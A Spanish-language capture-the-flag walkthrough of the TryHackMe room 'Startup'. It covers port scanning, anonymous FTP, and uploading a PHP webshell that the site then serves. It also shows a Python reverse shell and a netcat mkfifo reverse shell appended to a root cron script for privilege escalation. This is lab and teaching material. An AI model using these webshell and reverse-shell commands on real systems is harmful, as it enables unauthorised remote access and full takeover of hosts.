Startup es una maquina de TryHackMe utilizamos FTP para subir una webshell para luego obtener una shell. Accedimos con un segundo usuario analizando un archivo PCAP. Finalmente ejecutamos una shell inversa editando un script utilizado por un CronJob.
Room
Titulo |
Startup |
Descripción |
Abuse traditional vulnerabilities via untraditional means. |
Puntos |
140 |
Dificultad |
Facil |
Maker |
elbee |
NMAP
Escaneo de puertos tcp, nmap nos muestra el puerto ftp (21), ssh (22) y el puerto http (80) abiertos.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
|
# Nmap 7.80 scan initiated Wed Dec 9 02:42:39 2020 as: nmap -p- --min-rate 1000 -o allPorts startup.thm
Nmap scan report for startup.thm (10.10.134.232)
Host is up (0.27s latency).
Not shown: 64048 closed ports, 1484 filtered ports
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
# Nmap done at Wed Dec 9 02:45:09 2020 -- 1 IP address (1 host up) scanned in 150.15 seconds
# Nmap 7.80 scan initiated Wed Dec 9 02:45:44 2020 as: nmap -p80,21,22,80 -sV -sC -o servicePorts startup.thm
Nmap scan report for startup.thm (10.10.134.232)
Host is up (0.27s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| drwxrwxrwx 2 65534 65534 4096 Nov 12 04:53 ftp [NSE: writeable]
| -rw-r--r-- 1 0 0 251631 Nov 12 04:02 important.jpg
|_-rw-r--r-- 1 0 0 208 Nov 12 04:53 notice.txt
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 10.2.29.162
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 4
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 b9:a6:0b:84:1d:22:01:a4:01:30:48:43:61:2b:ab:94 (RSA)
| 256 ec:13:25:8c:18:20:36:e6:ce:91:0e:16:26:eb:a2:be (ECDSA)
|_ 256 a2:ff:2a:72:81:aa:a2:9f:55:a4:dc:92:23:e6:b4:3f (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Maintenance
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Dec 9 02:46:02 2020 -- 1 IP address (1 host up) scanned in 17.95 seconds
|
FTP
Ingresamos al servicio FTP con las “credenciales” de anonymous (anonymous:anonymous
), donde encontramos algunos archivos.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
|
kali@kali:~/thm/startup$ ftp startup.thm
Connected to startup.thm.
220 (vsFTPd 3.0.3)
Name (startup.thm:kali): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -lah
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x 3 65534 65534 4096 Nov 12 04:53 .
drwxr-xr-x 3 65534 65534 4096 Nov 12 04:53 ..
-rw-r--r-- 1 0 0 5 Nov 12 04:53 .test.log
drwxrwxrwx 2 65534 65534 4096 Nov 12 04:53 ftp
-rw-r--r-- 1 0 0 251631 Nov 12 04:02 important.jpg
-rw-r--r-- 1 0 0 208 Nov 12 04:53 notice.txt
226 Directory send OK.
ftp> get .test.log
local: .test.log remote: .test.log
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for .test.log (5 bytes).
226 Transfer complete.
5 bytes received in 0.00 secs (13.9909 kB/s)
ftp> get important.jpg
local: important.jpg remote: important.jpg
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for important.jpg (251631 bytes).
226 Transfer complete.
251631 bytes received in 1.15 secs (214.0925 kB/s)
ftp> get notice.txt
local: notice.txt remote: notice.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for notice.txt (208 bytes).
226 Transfer complete.
208 bytes received in 0.00 secs (259.4189 kB/s)
ftp> cd ftp
250 Directory successfully changed.
ftp> ls -lah
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxrwxrwx 2 65534 65534 4096 Nov 12 04:53 .
drwxr-xr-x 3 65534 65534 4096 Nov 12 04:53 ..
226 Directory send OK.
ftp> cd ..
250 Directory successfully changed.
ftp> pwd
257 "/" is the current directory
ftp>
|
Imagen encontrada en FTP
Uno de los archivos contiene un mensaje en el cual indica que “alguien esta compartiendo archivos (memes) en la carpeta (de ftp) y estos archivos se muestran en la pagina web”. Lo cual indica que en cierta parte de la pagina web se muestran los archivos que se encuentran en el servicio ftp.
1
2
3
4
5
|
kali@kali:~/thm/startup$ cat notice.txt
Whoever is leaving these damn Among Us memes in this share, it IS NOT FUNNY. People downloading documents from our website will think we are a joke! Now I dont know who it is, but Maya is looking pretty sus.
kali@kali:~/thm/startup$ cat .test.log
test
kali@kali:~/thm/startup$
|
HTTP
Encontramos una pagina web en el puerto 80 la cual no contiene informacion interesante.
GOBUSTER
Utilizamos gobuster para busqueda de directorios y archivos.
1
2
3
4
5
6
|
kali@kali:~/thm/startup$ gobuster dir -u http://startup.thm/ -w /usr/share/wordlists/dirb/common.txt -q -t 15 -x php,html,txt
/files (Status: 301)
/index.html (Status: 200)
/index.html (Status: 200)
/server-status (Status: 403)
kali@kali:~/thm/startup$
|
Como indicaba el mensaje en uno de los archivos, se muestran archivos (que se encuentran en el servicio FTP) en la pagina web.
WWW-DATA - USER
Mediante una mini webshell ejecutamos comandos en la maquina, subiendo esta en la carpeta ftp/
del servicio FTP, ya que tenemos acceso mediante el “usuario” anonymous.
1
|
<?php echo "<pre>"; system($_GET['cmd']); ?>
|
Mini webshell a la carpeta ftp/
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
ftp> ls -lah
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x 3 65534 65534 4096 Nov 12 04:53 .
drwxr-xr-x 3 65534 65534 4096 Nov 12 04:53 ..
-rw-r--r-- 1 0 0 5 Nov 12 04:53 .test.log
drwxrwxrwx 2 65534 65534 4096 Nov 12 04:53 ftp
-rw-r--r-- 1 0 0 251631 Nov 12 04:02 important.jpg
-rw-r--r-- 1 0 0 208 Nov 12 04:53 notice.txt
226 Directory send OK.
ftp> cd ftp
250 Directory successfully changed.
ftp> put shell.php5
local: shell.php5 remote: shell.php5
200 PORT command successful. Consider using PASV.
150 Ok to send data.
226 Transfer complete.
45 bytes sent in 0.00 secs (392.3689 kB/s)
ftp> ls -lah
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxrwxrwx 2 65534 65534 4096 Dec 09 08:01 .
drwxr-xr-x 3 65534 65534 4096 Nov 12 04:53 ..
-rwxrwxr-x 1 112 118 45 Dec 09 08:01 shell.php5
226 Directory send OK.
ftp>
|
El archivo se muestra en la direccion de la pagina /files/ftp
.
Al ejecutar un comando se muestra en pantalla.
Ejecutamos una shell inversa y ponemos a la escucha netcat en el puerto especificado.
N: “Es posible ejecutar la shell inversa insertando esta en el codigo de la mini webshell.”
1
|
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.10",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
|
Obtenemos una shell con usuario www-data
.
En la maquina encontramos algunos archivos interesantes, el primero solo menciona un ingrediente principal, el segundo es un archivo de captura de paquetes.
1
2
3
4
5
6
7
8
9
10
11
12
|
www-data@startup:/$ cat recipe.txt
cat recipe.txt
Someone asked what our main ingredient to our spice soup is today. I figured I can't keep it a secret forever and told him it was ... spoiler ... .
www-data@startup:/$
www-data@startup:/incidents$ ls -lah
ls -lah
total 40K
drwxr-xr-x 2 www-data www-data 4.0K Nov 12 04:53 .
drwxr-xr-x 25 root root 4.0K Dec 9 07:39 ..
-rwxr-xr-x 1 www-data www-data 31K Nov 12 04:53 suspicious.pcapng
www-data@startup:/incidents$
|
Utilizamos wireshark para analizar el segundo archivo, en dicho archivo encontramos que se subió y se ejecutaron comandos mediante una shell, en los comandos encontrados se muestra la contraseña que aparentemente es del usuario Lennie
.
LENNIE - USER
Utilizamos esta contraseña para cambiar al usuario Lennie y obtener nuestra flag user.txt
.
PRIVILEGE ESCALATION
Realizamos una pequeña enumeracion en la carpeta del usuario Lennie
y encontramos archivos que son propiedad del usuario root
, en el primero de ellos realiza un echo
al archivo startup_list.txt
y ejecuta el archivo /etc/print.sh
el cual contiene un echo, el segundo archivo (startup_list.txt) no contiene nada.
1
2
3
4
5
6
7
8
9
10
11
12
13
|
lennie@startup:~/scripts$ cat planner.sh
#!/bin/bash
echo $LIST > /home/lennie/scripts/startup_list.txt
/etc/print.sh
lennie@startup:~/scripts$ cat startup_list.txt
lennie@startup:~/scripts$
lennie@startup:~/scripts$ ls -lah /etc/print.sh
-rwx------ 1 lennie lennie 25 Nov 12 04:53 /etc/print.sh
lennie@startup:~/scripts$ cat /etc/print.sh
#!/bin/bash
echo "Done!"
lennie@startup:~/scripts$
|
Ejecutamos pspy
para verificar si el archivo planner.sh
es ejecutado por algun cron del usuario root, lo cual se confirmo.
Ya que el archivo print.sh
es propiedad del archivo Lennie, vamos a editar este e insertar una shell inversa y poner a la escucha netcat en el puerto especificado.
1
|
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.10 1338 >/tmp/f" >> /etc/print.sh
|
Obtenemos una shell con el usuario root y nuestra flat root.txt
.